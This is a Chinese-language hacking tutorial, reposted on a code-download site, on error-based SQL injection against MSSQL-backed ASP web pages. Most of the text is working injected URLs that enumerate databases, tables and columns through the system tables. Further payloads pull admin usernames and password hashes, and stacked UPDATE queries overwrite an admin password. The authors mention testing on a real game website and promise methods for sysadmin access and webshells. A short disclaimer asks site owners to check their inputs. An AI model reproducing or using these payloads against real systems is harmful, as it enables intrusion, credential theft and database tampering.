首 页文章中心下载中心繁體中文
设为首页
加入收藏
联系我们
您当前的位置:开源盛世-源代码下载网 -> 文章中心 -> 数据库类 -> MS SQL -> 文章内容 退出登录 用户管理
栏目导航
· MS Access · MS SQL
· MY SQL · DB2
· Oracle · Sybase
· 数据库相关
热门文章
· Tab Control控件使用...
· 学生档案管理系统
· [图文] 排列组合公式
· UTF-8与GB2312之间的...
· DirectShow下载安装...
· Virtual PC 在PAE模...
· Windows2000终端服务...
· MapInfo上的GIS系统...
· Mapbasic参考手册索...
· MapX应用开发中文讲...
相关文章
· 使用MySql ODBC进行...
MSSQL 跨库查询
作者:臭要饭的!,黑夜.  来源:vscodes.com整理  发布时间:2006-3-17 9:20:43  发布人:Cinder

减小字体 增大字体

漏洞描述:MSSQL 跨库查询.可以暴露任意库中任意表中字段的值. 
漏洞发现者:中国网络脚本安全测试小组--臭要饭的!,黑夜. 
测试和利用:臭要饭的!,黑夜. 
测试日期:2003-10-30 

前言: 
哎,真是无聊,又烦人,我这个要饭的,日子越来越不好过了。有人居然说我奉旨要饭,我真是没得语言了,所以抽了空玩点COOL的,好让大家来分享分享! 
大家都知道SQL跨表查询的东东吧。不过,假如管理员把字段名改成非常复杂的话,那么我们去猜解字段名,那将会是一件非常痛苦的事. 痛苦的事我们就不要去做了,交给想做痛苦的事的人吧.我们去找新的,绕过这个痛苦的过程。 
绕过这个过程的过程I LIKE 。这个过程就是我今天要为大家介绍的 MSSQL 跨库查询的用法. 

开工吧,让我们来分析一下MSSQL的三个关键系统表. 

一、分析MSSQL三个关键系统表. 
sysdatabases 

MSSQL中对sysdatabases系统表 的说明: 
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 

这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是 
保存了,所有的库名,以及库的ID,和一些相关信息。 
这里我把对于我们有用的字段名称和相关说明给大家列出来.看好咯! 

name dbid 
//表示库的名字. //表示库的ID. 

dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库. 

我们利用SQL语句:select * from master.dbo.sysdatabases 就可以查询出所有的库名. 


sysobjects 

MSSQL中对sysobjects系统表的说明: 
在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行。只有在 tempdb 内,每个临时对象才在该表中占一行。 

这个是列出数据库对象的系统表。当然数据库表名也在里面的. 
这里我就为大家列出一些对我们有用的字段名称和相关说明. 
name id xtype uid 
对象名. 对象ID 对象类型 所有者对象的用户ID。 

对象类型(xtype)。可以是下列对象类型中的一种: 
C = CHECK 约束 
D = 默认值或 DEFAULT 约束 
F = FOREIGN KEY 约束 
L = 日志 
FN = 标量函数 
IF = 内嵌表函数 
P = 存储过程 
PK = PRIMARY KEY 约束(类型是 K) 
RF = 复制筛选存储过程 
S = 系统表 
TF = 表函数 
TR = 触发器 
U = 用户表 
UQ = UNIQUE 约束(类型是 K) 
V = 视图 
X = 扩展存储过程 

当然我们这里只用得到xtype='U'的值。当等于U的时候,对象名就是表名,对象ID就是表的ID值. 

我们利用SQL语句: select * from ChouYFD.dbo.sysobjects where xtype='U' 这样就可以列出库名称是:ChouYFD中所有的表名. 

syscolumns 

SQL中syscolumns系统表的说明: 
每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。 

这个就是列出一个表中所有的字段列表的系统表。 
这里我就为大家列出一些对我们有用的字段名称和相关说明: 
name id colid 
//字段名称 //表ID号. 字段ID号. 

其中的 ID 是 刚上我们用sysobjects得到的表的ID号. 
我们利用SQL语句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表. 
YES SIR 明白!GO GO GO !!! 

好了,简单的介绍了一下这个用法.大家如果有不了解的,请查看SQL相关说明. 

二、灵活利用系统表 
同志们,玩过CS游戏的举手,呵呵,都玩过啊。好!我们今天也要来爆一下"头". 
GO GO GO !!! 
不过我们现在爆的是库名,表名,字段名,我们用不着去猜库名,表名,字段名. 
说一下怎么爆出相关的库名,表名,字段名. 
当两个类型值不一样的时候,将他们做比较,SQL系统会提示出错。并且会显示出类型的值. 如:’aaa’>100 这样比较,也就是字符串和数字的比较,这个怎么比较嘛,系统当然会提示出错啦!大家都知道只有相同类型的时候才可以进行运算.所以这里我们就来一个反方向的不相同类型比较,爆出他的值. 

下面就让我们来测试吧!!!准备好没有?GO! 

任务一:得到所有库名. 
http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 

因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 NAME字段是一个字符型的字段和数字比较会出错.那我们提交看一下IE返回了什么? 

IE返回. 

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。 

/jump.asp,行33 

GOOD!!!这样就把NAME字段的值爆露出来了: Northwind. 也就是我们得到了一个库名. 
改变DBID的值.我们可以得出所有的库名.当DBID等于10,11的时候,爆出了两个论坛的库名.分别为: 
bbs2002 
bbs 

呵呵,论坛的库名出来啦!!!那我们就不客气了。就找BBS这个库吧! 

任务二:得到bbs这个库中所有的表名. 
先来第一句: 
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 
查询的SQL语句,返回的是NAME的值然后和数字0比较,这样就会爆露出NAME的值. 
好我们提交吧,只听到砰的一声!一个表名(name的值)出来了。名叫:Address. 
// 这里多说两句话,如果你提交的时候,他说你没有权限,就说明,这两个库的SQL账 
//号的权限不一样,那就放弃吧。你没有资格进行下去. 老兄放弃吧!等他更新账号权 
//的时候,我第一时间通知你!一定要相信我臭要饭的!话. 

好,再来接着爆其他的表. 
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) 
又出来一个表名,名叫:admin 

依次提交 ... and name not in('address','admin',..)) 可以查出所有的表名. 

好,现在我们得到了ADMIN这个表,大家都清楚了这个表是做什么的吧!!我们的目的就是要得到这个表中账号字段和密码字段的值。 
下面就是要得到这个表中的所有字段名了咧! 怎么得到字段名呢?系统表: syscolumns 
中有用字段为: name、 id、colid 其中ID是保存着表的ID。也就是说我们要得到表的ID号然后,用SELECT * from bbs.dbo.syscolumns where id=bbs表的ID 这样才能列出BBS这个表中所有的字段. 说了半天,哎,说不清楚了。看我表演吧! 

http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 
//把ID值转成字符型后再和一个整型值比较。我KAO。经典吧,呵呵,这也想得出来。 
又听到砰的一声!ID号出来了。值为:773577794 
OK.GOOD!! 进入下关吧。 

任务三:得到ADMIN这个表中的所有字段列表: 
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 
又是把NAME和数字比较. 

IE 返回:adduser 呵呵,来来来。 
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser')) 
又返回一个字段名:flag 
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser','flag')) 

好当提交到: 
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns 
where id=773577794 and name not in('adduser','flag','id','lastlogin','lastloginip','password','username')) 

IE返回:BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 
说明,我们已经猜完了。呵呵,看到了吧。 
把BBS库中的ADMIN表中的所有字段列出来了。 
分别如下: 
adduser,adduser,flag,id,lastlogin,lastloginip,password,username 
看了一下,很像动网的论坛。 

任务四:查询字段值. 
来。我们看看username和password的值吧。 

http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where username>1) 
账号出来了:youbiao 

http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where password>1 and username='youbiao') 
密码又出来了:d6b2f32a47b8bcb5 我的天MD5的!不怕,呵呵~!!! 

来。改一下他的密码: 
http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='AAABBBCCCDDDEEEF' where username='youbiao';-- 
呵呵,试试。成功了。我们再来给他改回来. 

http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='d6b2f32a47b8bcb5' where username='youbiao';-- 
又改回来咯!!!呵~! 


通过提交UPDATE语句就可以直接把密码给他更改了。不过这是动网的。现在我们得到的只是后台的账号,你还是到前台去加一个用户为管理员才行。 这里,我们只是作测试,不破坏任何数据。 所以本文中的测试网址都更改过。请大家见谅! 

[本文章还做了动画,不过测试动画用到的网站是国内一家大型游戏网站,所以这里不方便提示下载.请原谅.不明白的朋友请多看MSSQL相关帮助,学会自己独立分析和研究] 

三、结束,闪人!: 
这次测试是和黑夜一起测试的。其中用了不少心思。希望,大家不要利用本方法去破坏网络数据,希望看到本文章的朋友,如果自己的网站用了SQL数据库,请认真检查脚本提交的参数. 



最新的研究技术. 
1.在MSSQL查看系统和数据库信息。可以得到系统补丁情况和数据库版本. 
2.可以得到MSSQL数据库当前连接的账号名,以及账号是什么权限. 
3.查看一个MSSQL存储扩展过程是否存在. 
4.通过有权限的MSSQL数据库账号可以得到WEB绝对路径的位置. 
5.研究出怎么饶过脚本外部提交的限制. 
6.给我一个MSSQL sysadmin账号我就一定可以给你一个系统管理员权限, 成功率99%. 

正在研究的东西. 
1.寻找DVBBS7.0的漏洞. 
2.研究MSSQL查寻目录的方法. 
3.研究怎么通过ACCESS数据库直接得到WEBSHELL的方法. 
4.深入研究ACCESS没公开的函数,为注入服务. 

其实以上的研究只有一个目的就是怎么得到WEBSHELL. 

这些技术将在不久在本论坛完全无条件公开.

End of《MSSQL 跨库查询》

[] [返回上一页] [打 印] [收 藏]
上一篇文章:CxImage类库的简介
下一篇文章:一个跨表查询的例子
 
∷相关“MSSQL 跨库查询”文章评论∷
(评论内容只代表网友观点,与本站立场无关!) [更多评论...]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 网站目录 鄂ICP备06007162
开源盛世 版权所有Copyright © 2003-2005 VSCodes.Com. All Rights Reserved.